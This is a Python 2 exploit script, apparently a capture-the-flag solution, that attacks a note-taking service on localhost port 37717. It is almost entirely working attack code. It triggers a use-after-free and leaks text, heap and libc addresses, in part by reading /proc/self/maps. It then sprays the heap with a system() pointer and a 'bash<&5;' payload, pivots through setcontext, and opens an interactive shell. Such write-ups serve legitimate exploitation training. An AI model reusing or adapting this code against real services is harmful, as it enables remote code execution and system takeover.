#!/usr/bin/env python2 try: import binexpect except ImportError: exit(""" pexpect sucks for sending binary data. binexpect fixes this and can be found at this url: http://darksaber.tk/wapiflapi/binexpect.py Not sure if the file will be there for ever, but you don't need this anyway. Code your own sploit ;) @wapiflapi """) import struct # The note claiming the favorite item's memory # should be the only note to use this size. note_size = 24 def note(data, pad="n"): return data.ljust(note_size - 1, pad) if __name__ == '__main__': target = binexpect.spawn("nc localhost 37717", timeout=None) # SETUP USE AFTER FREE SITUATION # Setup note0 in the fav item's memory. target.expect('Choose an option:') target.sendline("6\n0") # add item target.expect('Choose an option:') target.sendline("9\n0") # set fav target.expect('Choose an option:') target.sendline("8\n0") # del item target.expect('Choose an option:') target.sendline('2\n') # add note target.sendline(note("", "o")) # LEAK TEXT, HEAP & LIBC ADDRESSES # Change fav type and leak text address. target.expect('Choose an option:') target.sendline("10\n1") # change fav type target.expect('Choose an option:') target.sendline('1') # list notes target.expect(' #0: (.{6})') base_text = struct.unpack("Q", target.match.group(1) + b'\x00\x00')[0] print "base_text: 0x%.16x" % base_text # Compute other gadgets. dump = base_text - 0xd0 # note_from_file() pointer used by the menu free = base_text + 0x288 # GOT entry for free() # Free note and leak heap address. target.expect('Choose an option:') target.sendline("3\n0") # change note target.sendbinline(note(struct.pack("Q", free))) target.expect('Choose an option:') target.sendline("11") # trigger UAF target.expect('Choose an option:') target.sendline('1') # list notes target.expect(' #0: (.{6})') base_heap = struct.unpack("Q", target.match.group(1).ljust(8, b'\0'))[0] # reclaim freed space from note0 in note1 target.expect('Choose an option:') target.sendline('2') # add note target.sendline(note("", "o")) print "base_heap: 0x%.16x" % base_heap # Read /proc/self/maps and leak libc address. target.expect('Choose an option:') target.sendline("3\n0") # change note target.sendbinline(note(struct.pack("Q", dump))) target.expect('Choose an option:') target.sendline("11") # trigger UAF target.sendline("/proc/self/maps") target.expect('Choose an option:') target.sendline("1") # list notes target.expect("#2: ([0-9a-fA-F]+)-[0-9a-fA-F]+") base_libc = int(target.match.group(1), 16) target.expect('Choose an option:') target.sendline('5\n2') # del note if base_libc == 0x0000555555554000: print "gdb detected, adjusting libc." base_libc = 0x00007ffff7a14000 print "base_libc: 0x%.16x" % base_libc # HEAP SPRAYING system = base_libc + 0x468f0 payload = "bash<&5;" # Should be 8 bytes. print "Heap spraying with system." for x in xrange(8): target.expect('Choose an option:') target.sendline('2') # add note target.sendbinline(" " * 16 + payload + struct.pack("Q", system)) print "Deleting notes in order to empty the array." for _ in xrange(8): target.expect('Choose an option:') target.sendline('5\n2') # del note # Shouldn't overwrite the previous ones since # those have a different size. print "Filling array with pointers to payload." for x in xrange(8): target.expect('Choose an option:') target.sendline('2') # add note target.sendline(" " * 15 + payload) # SETCONTEXT print "Setting up trampoline." setcontext = base_libc + 0x47490 + 87 target.expect('Choose an option:') target.sendline('2') target.sendbinline(struct.pack("Q", setcontext)) print "Calling setcontext." trampoline = base_heap + 0x370 target.expect('Choose an option:') target.sendline("3\n0") target.sendbinline(note(struct.pack("Q", trampoline))) target.expect('Choose an option:') target.sendline("11") # Get a proper shell. raw_input("Got you a shell. Escape character is '^]'. ok? ") target.sendline("""python -c 'import pty; pty.spawn("bash")' 1>&0 2>&0""") target.interact() print "Bye bye."